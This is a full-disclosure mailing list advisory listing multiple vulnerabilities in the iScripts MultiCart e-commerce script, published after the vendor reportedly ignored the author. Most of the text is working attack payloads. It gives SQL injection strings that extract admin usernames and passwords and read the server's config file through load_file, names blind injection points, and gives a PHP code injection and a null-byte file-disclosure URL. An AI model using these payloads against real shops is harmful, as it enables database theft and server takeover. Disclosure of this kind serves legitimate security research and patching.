Hi guys
i guess the coders don't care abt patching any of these vulns
so i may force them to do :)
publish this under the name of : i-Hmx
thanks
# Iscripts multicart
# Multiple vulnerabilities
# Author : i-Hmx
# [email protected]
# sec4ever.com
- Vendor have been contacted since 2 years for more than 20 times and he don't
give ashit @ all :/
I.Sql Injection Vulns
/getProductOptionDetailsAjax.php
For Table name > Post
product_option_id=i-Hmx'/*!1337union all select 1,(select distinct
concat(0x3c62723e666172736177793c62723e3e3e,unhex(Hex(cast(table_name as
char))),0x3c3c3c62723e) from information_schema.tables where
table_schema=database() limit 52,1),2,3,4,5,6*/ and 'faris'='1337
Data
product_option_id=i-Hmx'/*!1337union all select 1,(select
concat(0x3c62723e666172736177793c62723e3e3e,admin_name,0x3a,admin_password,0x3c3c3c62723e)
from fasettings) ,2,3,4,5,6*/ and 'faris'='1337
II.Blind Sql Injection vulns
/product_review.php
if($_SESSION["sess_userid"]!="")
{
$pid = ($_GET['pid']!='')?$_GET['pid']:$_POST['pid'];
//checking already review exists or not
$psql=mysql_query("select vDes from ".$tableprefix."Review where
nUserId='".$_SESSION["sess_userid"]."' and nProdId='".$pid."'") or
die(mysql_error());
if(mysql_num_rows($psql)>0)
{
Post : pid=%Inject_Here%
/product_review_lists.php
Same
/rpc.php
type=%Inject_Here%
III-Union based Sql Injection
/admin/list_meta_tags.php
Post : meataid=fa' union all select 1,(select
concat(admin_name,0x3a,admin_password) from mul_settings),3,4,5 and '1'='1
Post : meataid=fa' union all select 1,(select version() ),3,4,5 and '1'='1
meataid=fa' union all select
1,load_file(0x433a5c417070536572765c7777775c6c61625c6d756c746963617274322e345c696e636c756465735c636f6e6669672e706870),3,4,5
and '1'='1
VI.PHP Code Injection
/response.php
Post : HTTP_RAW_POST_DATA=Code
File found at : csv/test77.txt
Include it via
V.LFD > for file inside csv directory < need dev >
/includes/download.php?f=f.php%00.csv_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
